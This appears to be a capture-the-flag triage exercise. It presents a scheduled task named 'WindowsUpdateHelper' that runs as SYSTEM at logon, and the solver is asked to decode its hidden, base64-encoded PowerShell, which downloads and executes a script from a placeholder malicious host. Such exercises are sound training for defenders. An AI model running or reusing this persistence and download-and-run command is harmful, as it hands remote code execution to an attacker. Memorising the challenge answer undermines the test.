A user reported this scheduled task running on their machine.
Triage it — what kind of payload is this? (flag format: FLAG{...})

schtasks /create /tn "WindowsUpdateHelper" /tr "powershell -nop -w hidden -enc
SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkA
LgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBhAGQALgBlAHgA
YQBtAHAAbABlAC8AcAAuAHAAcwAxACcAKQA=" /sc onlogon /ru SYSTEM

Hint: the -enc flag means the PowerShell command is base64-encoded.
Decode it to see what it does. The flag describes what this is.